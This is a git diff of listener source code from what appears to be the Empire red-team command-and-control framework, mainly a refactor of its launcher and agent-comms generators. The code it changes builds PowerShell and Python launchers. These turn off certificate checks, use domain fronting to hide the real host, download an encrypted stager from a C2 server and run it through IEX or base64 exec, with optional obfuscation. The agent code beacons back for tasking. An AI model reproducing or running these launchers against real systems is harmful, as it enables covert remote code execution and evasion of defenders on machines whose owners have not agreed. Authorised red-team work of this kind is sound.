- profile.stager.client.scheme
- + "://"
- + profile.stager.client.netloc
+ # ==== HANDLE SSL ====
+ if profile.stager.client.scheme == "https":
+ # allow for self-signed certificates for https connections
+ launcherBase += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
+
+ # ==== CONFIGURE PROXY ====
+ if proxy and proxy.lower() != "none":
+ if proxy.lower() == "default":
+ launcherBase += (
+ "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
)
- + ";$t='"
- + profile.stager.client.path
- + profile.stager.client.query
- + "';"
- )
- # ==== HANDLE SSL ====
- if profile.stager.client.scheme == "https":
- # allow for self-signed certificates for https connections
- launcherBase += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
+ else:
+ launcherBase += (
+ f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');"
+ )
+ launcherBase += "$wc.Proxy = $proxy;"
- # ==== CONFIGURE PROXY ====
- if proxy and proxy.lower() != "none":
- if proxy.lower() == "default":
- launcherBase += (
- "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
- )
+ if proxyCreds and proxyCreds.lower() != "none":
+ if proxyCreds.lower() == "default":
+ launcherBase += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
else:
- launcherBase += (
- f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');"
- )
- launcherBase += "$wc.Proxy = $proxy;"
-
- if proxyCreds and proxyCreds.lower() != "none":
- if proxyCreds.lower() == "default":
- launcherBase += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ if len(username.split("\\")) > 1:
+ usr = username.split("\\")[1]
+ domain = username.split("\\")[0]
+ launcherBase += f"$netcred = New-Object System.Net.NetworkCredential(' {usr}', '{password}', '{domain}');"
else:
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- if len(username.split("\\")) > 1:
- usr = username.split("\\")[1]
- domain = username.split("\\")[0]
- launcherBase += f"$netcred = New-Object System.Net.NetworkCredential(' {usr}', '{password}', '{domain}');"
+ usr = username.split("\\")[0]
+ launcherBase += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{password}');"
- else:
- usr = username.split("\\")[0]
- launcherBase += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{password}');"
+ launcherBase += "$wc.Proxy.Credentials = $netcred;"
- launcherBase += "$wc.Proxy.Credentials = $netcred;"
+ # save the proxy settings to use during the entire staging process and the agent
+ launcherBase += "$Script:Proxy = $wc.Proxy;"
- # save the proxy settings to use during the entire staging process and the agent
- launcherBase += "$Script:Proxy = $wc.Proxy;"
+ # ==== ADD HEADERS ====
+ for header, value in profile.stager.client.headers.items():
+ # If host header defined, assume domain fronting is in use and add a call to the base URL first
+ # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
+ if header.lower() == "host":
+ launcherBase += "try{$ig=$wc.DownloadData($ser)}catch{};"
- # ==== ADD HEADERS ====
- for header, value in profile.stager.client.headers.items():
- # If host header defined, assume domain fronting is in use and add a call to the base URL first
- # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
- if header.lower() == "host":
- launcherBase += "try{$ig=$wc.DownloadData($ser)}catch{};"
+ launcherBase += f'$wc.Headers.Add("{ header }","{ value }");'
- launcherBase += f'$wc.Headers.Add("{ header }","{ value }");'
-
- # ==== SEND REQUEST ====
- if (
- profile.stager.client.verb.lower() != "get"
- or profile.stager.client.body
- ):
- launcherBase += f"$data=$wc.UploadData($ser+$t,'{ profile.stager.client.verb }','{ profile.stager.client.body }');"
+ # ==== SEND REQUEST ====
+ if (
+ profile.stager.client.verb.lower() != "get"
+ or profile.stager.client.body
+ ):
+ launcherBase += f"$data=$wc.UploadData($ser+$t,'{ profile.stager.client.verb }','{ profile.stager.client.body }');"
- else:
- launcherBase += "$data=$wc.DownloadData($ser+$t);"
+ else:
+ launcherBase += "$data=$wc.DownloadData($ser+$t);"
- # ==== INTERPRET RESPONSE ====
- if (
- profile.stager.server.output.terminator.type
- == malleable.Terminator.HEADER
- ):
- launcherBase += (
- "$fata='';for ($i=0;$i -lt $wc.ResponseHeaders.Count;$i++){"
- )
- launcherBase += f"if ($data.ResponseHeaders.GetKey($i) -eq '{ profile.stager.server.output.terminator.arg }')"
- launcherBase += "{$data=$wc.ResponseHeaders.Get($i);"
- launcherBase += "Add-Type -AssemblyName System.Web;$data=[System.Web.HttpUtility]::UrlDecode($data);}}"
- elif (
- profile.stager.server.output.terminator.type
- == malleable.Terminator.PRINT
- ):
- launcherBase += ""
- else:
- launcherBase += ""
- launcherBase += profile.stager.server.output.generate_powershell_r(
- "$data"
+ # ==== INTERPRET RESPONSE ====
+ if (
+ profile.stager.server.output.terminator.type
+ == malleable.Terminator.HEADER
+ ):
+ launcherBase += (
+ "$fata='';for ($i=0;$i -lt $wc.ResponseHeaders.Count;$i++){"
)
+ launcherBase += f"if ($data.ResponseHeaders.GetKey($i) -eq '{ profile.stager.server.output.terminator.arg }')"
+ launcherBase += "{$data=$wc.ResponseHeaders.Get($i);"
+ launcherBase += "Add-Type -AssemblyName System.Web;$data=[System.Web.HttpUtility]::UrlDecode($data);}}"
+ elif (
+ profile.stager.server.output.terminator.type
+ == malleable.Terminator.PRINT
+ ):
+ launcherBase += ""
+ else:
+ launcherBase += ""
+ launcherBase += profile.stager.server.output.generate_powershell_r("$data")
- # ==== EXTRACT IV AND STAGER ====
- launcherBase += "$iv=$data[0..3];$data=$data[4..($data.length-1)];"
+ # ==== EXTRACT IV AND STAGER ====
+ launcherBase += "$iv=$data[0..3];$data=$data[4..($data.length-1)];"
- # ==== DECRYPT AND EXECUTE STAGER ====
- launcherBase += "-join[Char[]](& $R $data ($IV+$K))|IEX"
+ # ==== DECRYPT AND EXECUTE STAGER ====
+ launcherBase += "-join[Char[]](& $R $data ($IV+$K))|IEX"
- if obfuscate:
- launcherBase = self.mainMenu.obfuscationv2.obfuscate(
- launcherBase,
- obfuscation_command=obfuscation_command,
- )
- stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+ if obfuscate:
+ launcherBase = self.mainMenu.obfuscationv2.obfuscate(
+ launcherBase,
+ obfuscation_command=obfuscation_command,
+ )
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
- if encode and (
- (not obfuscate) or ("launcher" not in obfuscation_command.lower())
- ):
- return helpers.powershell_launcher(launcherBase, launcher)
- else:
- return launcherBase
+ if encode and (
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
+ ):
+ return helpers.powershell_launcher(launcherBase, launcher)
+ else:
+ return launcherBase
- elif language in ["python", "ironpython"]:
- # ==== HANDLE IMPORTS ====
- launcherBase = "import sys,base64\n"
- launcherBase += "import urllib.request,urllib.parse\n"
+ elif language in ["python", "ironpython"]:
+ # ==== HANDLE IMPORTS ====
+ launcherBase = "import sys,base64\n"
+ launcherBase += "import urllib.request,urllib.parse\n"
- # ==== HANDLE SSL ====
- if profile.stager.client.scheme == "https":
- launcherBase += "import ssl\n"
- launcherBase += "if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context\n"
+ # ==== HANDLE SSL ====
+ if profile.stager.client.scheme == "https":
+ launcherBase += "import ssl\n"
+ launcherBase += "if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context\n"
- # ==== SAFE CHECKS ====
- if safeChecks and safeChecks.lower() == "true":
- launcherBase += listener_util.python_safe_checks()
+ # ==== SAFE CHECKS ====
+ if safeChecks and safeChecks.lower() == "true":
+ launcherBase += listener_util.python_safe_checks()
- launcherBase += "server='%s'\n" % (host)
+ launcherBase += "server='%s'\n" % (host)
- # ==== CONFIGURE PROXY ====
- if proxy and proxy.lower() != "none":
- if proxy.lower() == "default":
- launcherBase += "proxy = urllib.request.ProxyHandler()\n"
+ # ==== CONFIGURE PROXY ====
+ if proxy and proxy.lower() != "none":
+ if proxy.lower() == "default":
+ launcherBase += "proxy = urllib.request.ProxyHandler()\n"
+ else:
+ proto = proxy.split(":")[0]
+ launcherBase += (
+ "proxy = urllib.request.ProxyHandler({'"
+ + proto
+ + "':'"
+ + proxy
+ + "'})\n"
+ )
+ if proxyCreds and proxyCreds != "none":
+ if proxyCreds == "default":
+ launcherBase += "o = urllib.request.build_opener(proxy)\n"
else:
- proto = proxy.split(":")[0]
+ launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler()\n"
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
launcherBase += (
- "proxy = urllib.request.ProxyHandler({'"
- + proto
- + "':'"
+ "proxy_auth_handler.add_password(None,'"
+ proxy
- + "'})\n"
+ + "','"
+ + username
+ + "','"
+ + password
+ + "')\n"
)
- if proxyCreds and proxyCreds != "none":
- if proxyCreds == "default":
- launcherBase += "o = urllib.request.build_opener(proxy)\n"
- else:
- launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler()\n"
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- launcherBase += (
- "proxy_auth_handler.add_password(None,'"
- + proxy
- + "','"
- + username
- + "','"
- + password
- + "')\n"
- )
- launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler)\n"
- else:
- launcherBase += "o = urllib.request.build_opener(proxy)\n"
+ launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler)\n"
else:
- launcherBase += "o = urllib.request.build_opener()\n"
- # install proxy and creds globaly, so they can be used with urlopen.
- launcherBase += "urllib.request.install_opener(o)\n"
-
- # ==== BUILD AND STORE METADATA ====
- routingPacket = packets.build_routing_packet(
- stagingKey,
- sessionID="00000000",
- language="PYTHON",
- meta="STAGE0",
- additional="None",
- encData="",
- )
- routingPacketTransformed = profile.stager.client.metadata.transform(
- routingPacket
- )
- profile.stager.client.store(
- routingPacketTransformed, profile.stager.client.metadata.terminator
- )
+ launcherBase += "o = urllib.request.build_opener(proxy)\n"
+ else:
+ launcherBase += "o = urllib.request.build_opener()\n"
+ # install proxy and creds globaly, so they can be used with urlopen.
+ launcherBase += "urllib.request.install_opener(o)\n"
+
+ # ==== BUILD AND STORE METADATA ====
+ routingPacket = packets.build_routing_packet(
+ stagingKey,
+ sessionID="00000000",
+ language="PYTHON",
+ meta="STAGE0",
+ additional="None",
+ encData="",
+ )
+ routingPacketTransformed = profile.stager.client.metadata.transform(
+ routingPacket
+ )
+ profile.stager.client.store(
+ routingPacketTransformed, profile.stager.client.metadata.terminator
+ )
- # ==== BUILD REQUEST ====
- launcherBase += "vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)})\n"
- launcherBase += "req=vreq('{}', {})\n".format(
- profile.stager.client.url,
- profile.stager.client.body,
+ # ==== BUILD REQUEST ====
+ launcherBase += "vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)})\n"
+ launcherBase += "req=vreq('{}', {})\n".format(
+ profile.stager.client.url,
+ profile.stager.client.body,
+ )
+ launcherBase += "req.verb='" + profile.stager.client.verb + "'\n"
+
+ # ==== ADD HEADERS ====
+ for header, value in profile.stager.client.headers.items():
+ launcherBase += f"req.add_header('{header}','{value}')\n"
+
+ # ==== SEND REQUEST ====
+ launcherBase += "res=urllib.request.urlopen(req)\n"
+
+ # ==== INTERPRET RESPONSE ====
+ if (
+ profile.stager.server.output.terminator.type
+ == malleable.Terminator.HEADER
+ ):
+ launcherBase += "head=res.info().dict\n"
+ launcherBase += "a=head['{}'] if '{}' in head else ''\n".format(
+ profile.stager.server.output.terminator.arg,
+ profile.stager.server.output.terminator.arg,
)
- launcherBase += "req.verb='" + profile.stager.client.verb + "'\n"
-
- # ==== ADD HEADERS ====
- for header, value in profile.stager.client.headers.items():
- launcherBase += f"req.add_header('{header}','{value}')\n"
+ launcherBase += "a=urllib.parse.unquote(a)\n"
+ elif (
+ profile.stager.server.output.terminator.type
+ == malleable.Terminator.PRINT
+ ):
+ launcherBase += "a=res.read()\n"
+ else:
+ launcherBase += "a=''\n"
+ launcherBase += profile.stager.server.output.generate_python_r("a")
- # ==== SEND REQUEST ====
- launcherBase += "res=urllib.request.urlopen(req)\n"
+ # download the stager and extract the IV
+ launcherBase += "a=urllib.request.urlopen(req).read();\n"
+ launcherBase += listener_util.python_extract_stager(stagingKey)
- # ==== INTERPRET RESPONSE ====
- if (
- profile.stager.server.output.terminator.type
- == malleable.Terminator.HEADER
- ):
- launcherBase += "head=res.info().dict\n"
- launcherBase += "a=head['{}'] if '{}' in head else ''\n".format(
- profile.stager.server.output.terminator.arg,
- profile.stager.server.output.terminator.arg,
- )
- launcherBase += "a=urllib.parse.unquote(a)\n"
- elif (
- profile.stager.server.output.terminator.type
- == malleable.Terminator.PRINT
- ):
- launcherBase += "a=res.read()\n"
- else:
- launcherBase += "a=''\n"
- launcherBase += profile.stager.server.output.generate_python_r("a")
-
- # download the stager and extract the IV
- launcherBase += "a=urllib.request.urlopen(req).read();\n"
- launcherBase += listener_util.python_extract_stager(stagingKey)
-
- if obfuscate:
- stager = self.mainMenu.obfuscationv2.python_obfuscate(stager)
- stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
-
- if encode:
- launchEncoded = base64.b64encode(
- launcherBase.encode("UTF-8")
- ).decode("UTF-8")
- if isinstance(launchEncoded, bytes):
- launchEncoded = launchEncoded.decode("UTF-8")
- launcher = (
- "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &"
- % (launchEncoded)
- )
- return launcher
- else:
- return launcherBase
+ if obfuscate:
+ stager = self.mainMenu.obfuscationv2.python_obfuscate(stager)
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
- else:
- log.error(
- "listeners/template generate_launcher(): invalid language specification: c# is currently not supported for this module."
+ if encode:
+ launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode(
+ "UTF-8"
+ )
+ if isinstance(launchEncoded, bytes):
+ launchEncoded = launchEncoded.decode("UTF-8")
+ launcher = (
+ "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &"
+ % (launchEncoded)
)
+ return launcher
+ else:
+ return launcherBase
+
+ else:
+ log.error(
+ "listeners/template generate_launcher(): invalid language specification: c# is currently not supported for this module."
+ )
def generate_stager(
self,
@@ -758,8 +748,8 @@ def generate_agent(
delay = listenerOptions["DefaultDelay"]["Value"]
jitter = listenerOptions["DefaultJitter"]["Value"]
lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
- killDate = listenerOptions["KillDate"]["Value"]
- workingHours = listenerOptions["WorkingHours"]["Value"]
+ listenerOptions["KillDate"]["Value"]
+ listenerOptions["WorkingHours"]["Value"]
b64DefaultResponse = base64.b64encode(
self.default_response().encode("UTF-8")
).decode("UTF-8")
@@ -812,26 +802,17 @@ def generate_agent(
code = helpers.strip_python_comments(code)
# patch in the delay, jitter, lost limit, and comms profile
- code = code.replace("delay = 60", f"delay = { delay }")
- code = code.replace("jitter = 0.0", f"jitter = { jitter }")
+ code = code.replace("delay=60", f"delay={ delay }")
+ code = code.replace("jitter=0.0", f"jitter={ jitter }")
code = code.replace(
'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
f'profile = "{ profileStr }"',
)
- code = code.replace("lostLimit = 60", f"lostLimit = { lostLimit }")
code = code.replace(
'defaultResponse = base64.b64decode("")',
f'defaultResponse = base64.b64decode("{ b64DefaultResponse }")',
)
- # patch in the killDate and workingHours if they're specified
- if killDate != "":
- code = code.replace('killDate = ""', f'killDate = "{ killDate }"')
- if workingHours != "":
- code = code.replace(
- 'workingHours = ""', f'workingHours = "{ workingHours }"'
- )
-
if obfuscate:
code = self.mainMenu.obfuscationv2.python_obfuscate(code)
code = self.mainMenu.obfuscationv2.obfuscate_keywords(code)
@@ -1091,33 +1072,59 @@ def generate_comms(self, listenerOptions, language=None):
return updateServers + getTask + sendMessage
elif language.lower() == "python":
- # Python
- updateServers = "server = '%s'\n" % (host)
-
- # ==== HANDLE SSL ====
- if host.startswith("https"):
- updateServers += "hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None\n"
+ sendMessage = f"""
+import base64
+import urllib
+import random
+import sys
- sendMessage = "def send_message(packets=None):\n"
- sendMessage += " global missedCheckins\n"
- sendMessage += " global server\n"
- sendMessage += " global headers\n"
- sendMessage += " global taskURIs\n"
- sendMessage += " vreq = type('vreq', (urllib.request.Request, object), {'get_method':lambda self:self.verb if (hasattr(self, 'verb') and self.verb) else urllib.request.Request.get_method(self)})\n"
+class ExtendedPacketHandler(PacketHandler):
+ def __init__(self, agent, staging_key, session_id, headers, server, taskURIs, key=None):
+ super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key)
+ self.headers = headers
+ self.taskURIs = taskURIs
+ self.server = server
+
+ def post_message(self, uri, data):
+ return (urllib.request.urlopen(urllib.request.Request(uri, data, self.headers))).read()
+
+ def send_results_for_child(self, received_data):
+ self.headers['Cookie'] = "session=%s" % (received_data[1:])
+ taskUri = random.sample({str(profile.post.client.uris)}, 1)[0]
+ requestUri = self.server + taskURI
+ response = (urllib.request.urlopen(urllib.request.Request(requestUri, None, self.headers))).read()
+ return response
+
+ def send_get_tasking_for_child(self, received_data):
+ decoded_data = base64.b64decode(received_data[1:].encode('UTF-8'))
+ taskUri = random.sample({str(profile.post.client.uris)}, 1)[0]
+ requestUri = self.server + taskURI
+ response = (urllib.request.urlopen(urllib.request.Request(requestUri, decoded_data, self.headers))).read()
+ return response
+
+ def send_staging_for_child(self, received_data, hop_name):
+ postURI = self.server + "/login/process.php"
+ self.headers['Hop-Name'] = hop_name
+ decoded_data = base64.b64decode(received_data[1:].encode('UTF-8'))
+ response = (urllib.request.urlopen(urllib.request.Request(postURI, decoded_data, self.headers))).read()
+ return response
+"""
+ sendMessage += " def send_message(self, packets=None):\n"
+ sendMessage += " vreq = type('vreq', (urllib.request.Request, object), {'get_method':lambda self:self.verb if (hasattr(self, 'verb') and self.verb) else urllib.request.Request.get_method(self)})\n"
# ==== BUILD POST ====
- sendMessage += " if packets:\n"
+ sendMessage += " if packets:\n"
# ==== BUILD ROUTING PACKET ====
sendMessage += (
- " encData = aes_encrypt_then_hmac(key, packets);\n"
+ " encData = aes_encrypt_then_hmac(self.key, packets);\n"
)
- sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData);\n"
+ sendMessage += " routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=encData);\n"
sendMessage += (
"\n".join(
[
- " " + _
+ " " + _
for _ in profile.post.client.output.generate_python(
"routingPacket"
).split("\n")
@@ -1128,74 +1135,86 @@ def generate_comms(self, listenerOptions, language=None):
# ==== CHOOSE URI ====
sendMessage += (
- " taskUri = random.sample("
+ " taskUri = random.sample("
+ str(profile.post.client.uris)
+ ", 1)[0]\n"
)
- sendMessage += " requestUri = server + taskUri\n"
+ sendMessage += " requestUri = self.server + taskUri\n"
# ==== ADD PARAMETERS ====
- sendMessage += " parameters = {}\n"
+ sendMessage += " parameters = {}\n"
for parameter, value in profile.post.client.parameters.items():
sendMessage += (
- " parameters['" + parameter + "'] = '" + value + "'\n"
+ " parameters['"
+ + parameter
+ + "'] = '"
+ + value
+ + "'\n"
)
if (
profile.post.client.output.terminator.type
== malleable.Terminator.PARAMETER
):
sendMessage += (
- " parameters['"
+ " parameters['"
+ profile.post.client.output.terminator.arg
+ "'] = routingPacket;\n"
)
- sendMessage += " if parameters:\n"
- sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n"
+ sendMessage += " if parameters:\n"
+ sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n"
if (
profile.post.client.output.terminator.type
== malleable.Terminator.URIAPPEND
):
- sendMessage += " requestUri += routingPacket\n"
+ sendMessage += " requestUri += routingPacket\n"
# ==== ADD BODY ====
if (
profile.post.client.output.terminator.type
== malleable.Terminator.PRINT
):
- sendMessage += " body = routingPacket\n"
+ sendMessage += " body = routingPacket\n"
else:
- sendMessage += " body = '" + profile.post.client.body + "'\n"
- sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n"
+ sendMessage += (
+ " body = '" + profile.post.client.body + "'\n"
+ )
+ sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n"
# ==== BUILD REQUEST ====
- sendMessage += " req = vreq(requestUri, body)\n"
- sendMessage += " req.verb = '" + profile.post.client.verb + "'\n"
+ sendMessage += " req = vreq(requestUri, body)\n"
+ sendMessage += (
+ " req.verb = '" + profile.post.client.verb + "'\n"
+ )
# ==== ADD HEADERS ====
for header, value in profile.post.client.headers.items():
sendMessage += (
- " req.add_header('" + header + "', '" + value + "')\n"
+ " req.add_header('"
+ + header
+ + "', '"
+ + value
+ + "')\n"
)
if (
profile.post.client.output.terminator.type
== malleable.Terminator.HEADER
):
sendMessage += (
- " req.add_header('"
+ " req.add_header('"
+ profile.post.client.output.terminator.arg
+ "', routingPacket)\n"
)
# ==== BUILD GET ====
- sendMessage += " else:\n"
+ sendMessage += " else:\n"
# ==== BUILD ROUTING PACKET
- sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=4);\n"
+ sendMessage += " routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=4);\n"
sendMessage += (
"\n".join(
[
- " " + _
+ " " + _
for _ in profile.get.client.metadata.generate_python(
"routingPacket"
).split("\n")
@@ -1206,68 +1225,80 @@ def generate_comms(self, listenerOptions, language=None):
# ==== CHOOSE URI ====
sendMessage += (
- " taskUri = random.sample("
+ " taskUri = random.sample("
+ str(profile.get.client.uris)
+ ", 1)[0]\n"
)
- sendMessage += " requestUri = server + taskUri;\n"
+ sendMessage += " requestUri = self.server + taskUri;\n"
# ==== ADD PARAMETERS ====
- sendMessage += " parameters = {}\n"
+ sendMessage += " parameters = {}\n"
for parameter, value in profile.get.client.parameters.items():
sendMessage += (
- " parameters['" + parameter + "'] = '" + value + "'\n"
+ " parameters['"
+ + parameter
+ + "'] = '"
+ + value
+ + "'\n"
)
if (
profile.get.client.metadata.terminator.type
== malleable.Terminator.PARAMETER
):
sendMessage += (
- " parameters['"
+ " parameters['"
+ profile.get.client.metadata.terminator.arg
+ "'] = routingPacket\n"
)
- sendMessage += " if parameters:\n"
- sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n"
+ sendMessage += " if parameters:\n"
+ sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n"
if (
profile.get.client.metadata.terminator.type
== malleable.Terminator.URIAPPEND
):
- sendMessage += " requestUri += routingPacket;\n"
+ sendMessage += " requestUri += routingPacket;\n"
# ==== ADD BODY ====
if (
profile.get.client.metadata.terminator.type
== malleable.Terminator.PRINT
):
- sendMessage += " body = routingPacket\n"
+ sendMessage += " body = routingPacket\n"
else:
- sendMessage += " body = '" + profile.get.client.body + "'\n"
- sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n"
+ sendMessage += (
+ " body = '" + profile.get.client.body + "'\n"
+ )
+ sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n"
# ==== BUILD REQUEST ====
- sendMessage += " req = vreq(requestUri, body)\n"
- sendMessage += " req.verb = '" + profile.get.client.verb + "'\n"
+ sendMessage += " req = vreq(requestUri, body)\n"
+ sendMessage += (
+ " req.verb = '" + profile.get.client.verb + "'\n"
+ )
# ==== ADD HEADERS ====
for header, value in profile.get.client.headers.items():
sendMessage += (
- " req.add_header('" + header + "', '" + value + "')\n"
+ " req.add_header('"
+ + header
+ + "', '"
+ + value
+ + "')\n"
)
if (
profile.get.client.metadata.terminator.type
== malleable.Terminator.HEADER
):
sendMessage += (
- " req.add_header('"
+ " req.add_header('"
+ profile.get.client.metadata.terminator.arg
+ "', routingPacket)\n"
)
# ==== SEND REQUEST ====
- sendMessage += " try:\n"
- sendMessage += " res = urllib.request.urlopen(req);\n"
+ sendMessage += " try:\n"
+ sendMessage += " res = urllib.request.urlopen(req);\n"
# ==== EXTRACT RESPONSE ====
if (
@@ -1276,18 +1307,18 @@ def generate_comms(self, listenerOptions, language=None):
):
header = profile.get.server.output.terminator.arg
sendMessage += (
- " data = res.info().dict['"
+ " data = res.info().dict['"
+ header
+ "'] if '"
+ header
+ "' in res.info().dict else ''\n"
)
- sendMessage += " data = urllib.parse.unquote(data)\n"
+ sendMessage += " data = urllib.parse.unquote(data)\n"
elif (
profile.get.server.output.terminator.type
== malleable.Terminator.PRINT
):
- sendMessage += " data = res.read()\n"
+ sendMessage += " data = res.read()\n"
# ==== DECODE RESPONSE ====
sendMessage += (
@@ -1302,24 +1333,22 @@ def generate_comms(self, listenerOptions, language=None):
+ "\n"
)
# before return we encode to bytes, since in some transformations "join" produces str
- sendMessage += (
- " if isinstance(data,str): data = data.encode('latin-1');\n"
- )
- sendMessage += " return ('200', data)\n"
+ sendMessage += " if isinstance(data,str): data = data.encode('latin-1');\n"
+ sendMessage += " return ('200', data)\n"
# ==== HANDLE ERROR ====
- sendMessage += " except urllib.request.HTTPError as HTTPError:\n"
- sendMessage += " missedCheckins += 1\n"
- sendMessage += " if HTTPError.code == 401:\n"
- sendMessage += " sys.exit(0)\n"
- sendMessage += " return (HTTPError.code, '')\n"
- sendMessage += " except urllib.request.URLError as URLError:\n"
- sendMessage += " missedCheckins += 1\n"
- sendMessage += " return (URLError.reason, '')\n"
+ sendMessage += " except urllib.request.HTTPError as HTTPError:\n"
+ sendMessage += " self.missedCheckins += 1\n"
+ sendMessage += " if HTTPError.code == 401:\n"
+ sendMessage += " sys.exit(0)\n"
+ sendMessage += " return (HTTPError.code, '')\n"
+ sendMessage += " except urllib.request.URLError as URLError:\n"
+ sendMessage += " self.missedCheckins += 1\n"
+ sendMessage += " return (URLError.reason, '')\n"
- sendMessage += " return ('', '')\n"
+ sendMessage += " return ('', '')\n"
- return updateServers + sendMessage
+ return sendMessage
else:
log.error(
@@ -1735,44 +1764,26 @@ def handle_request(request_uri="", tempListenerOptions=None):
self.instance_log.error(message, exc_info=True)
log.error(message, exc_info=True)
- def start(self, name=""):
+ def start(self):
"""
- Start a threaded instance of self.start_server() and store it in
- the self.threads dictionary keyed by the listener name.
+ Start a threaded instance of self.start_server() and store it in the
+ self.thread property.
"""
self.instance_log = log_util.get_listener_logger(
LOG_NAME_PREFIX, self.options["Name"]["Value"]
)
-
listenerOptions = self.options
- if name and name != "":
- self.threads[name] = helpers.KThread(
- target=self.start_server, args=(listenerOptions,)
- )
- self.threads[name].start()
- time.sleep(1)
- # returns True if the listener successfully started, false otherwise
- return self.threads[name].is_alive()
- else:
- name = listenerOptions["Name"]["Value"]
- self.threads[name] = helpers.KThread(
- target=self.start_server, args=(listenerOptions,)
- )
- self.threads[name].start()
- time.sleep(1)
- # returns True if the listener successfully started, false otherwise
- return self.threads[name].is_alive()
+ self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,))
+ self.thread.start()
+ time.sleep(1)
+ # returns True if the listener successfully started, false otherwise
+ return self.thread.is_alive()
- def shutdown(self, name=""):
+ def shutdown(self):
"""
- Terminates the server thread stored in the self.threads dictionary,
- keyed by the listener name.
+ Terminates the server thread stored in the self.thread property.
"""
- if name and name != "":
- to_kill = name
- else:
- to_kill = self.options["Name"]["Value"]
-
+ to_kill = self.options["Name"]["Value"]
self.instance_log.info(f"{to_kill}: shutting down...")
log.info(f"{to_kill}: shutting down...")
- self.threads[to_kill].kill()
+ self.thread.kill()
diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py
index 6bead8585..efc02d680 100755
--- a/empire/server/listeners/onedrive.py
+++ b/empire/server/listeners/onedrive.py
@@ -4,7 +4,6 @@
import os
import re
import time
-from typing import List, Optional, Tuple
from requests import Request, Session
@@ -147,7 +146,7 @@ def __init__(self, mainMenu: MainMenu):
self.stager_url = ""
self.mainMenu = mainMenu
- self.threads = {}
+ self.thread = None
self.options["StagingKey"]["Value"] = str(
data_util.get_config("staging_key")[0]
@@ -158,7 +157,7 @@ def __init__(self, mainMenu: MainMenu):
def default_response(self):
return ""
- def validate_options(self) -> Tuple[bool, Optional[str]]:
+ def validate_options(self) -> tuple[bool, str | None]:
self.uris = [
a.strip("/")
for a in self.options["DefaultProfile"]["Value"].split("|")[0].split(",")
@@ -203,7 +202,7 @@ def generate_launcher(
language=None,
safeChecks="",
listenerName=None,
- bypasses: List[str] = None,
+ bypasses: list[str] = None,
):
bypasses = [] if bypasses is None else bypasses
@@ -211,100 +210,90 @@ def generate_launcher(
log.error("listeners/onedrive generate_launcher(): No language specified")
return None
- # Previously, we had to do a lookup for the listener and check through threads on the instance.
- # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
- # further, but for now keeping as is since 5.0 has enough rewrites as it is.
- if (
- True
- ): # The true check is just here to keep the indentation consistent with the old code.
- active_listener = self
- # extract the set options for this instantiated listener
- listener_options = active_listener.options
-
- launcher_cmd = listener_options["Launcher"]["Value"]
- staging_key = listener_options["StagingKey"]["Value"]
-
- if language.startswith("power"):
- launcher = ""
- if safeChecks.lower() == "true":
- launcher += "If($PSVersionTable.PSVersion.Major -ge 3){"
-
- for bypass in bypasses:
- launcher += bypass
- launcher += (
- "};[System.Net.ServicePointManager]::Expect100Continue=0;"
- )
+ active_listener = self
+ # extract the set options for this instantiated listener
+ listener_options = active_listener.options
- launcher += "$wc=New-Object System.Net.WebClient;"
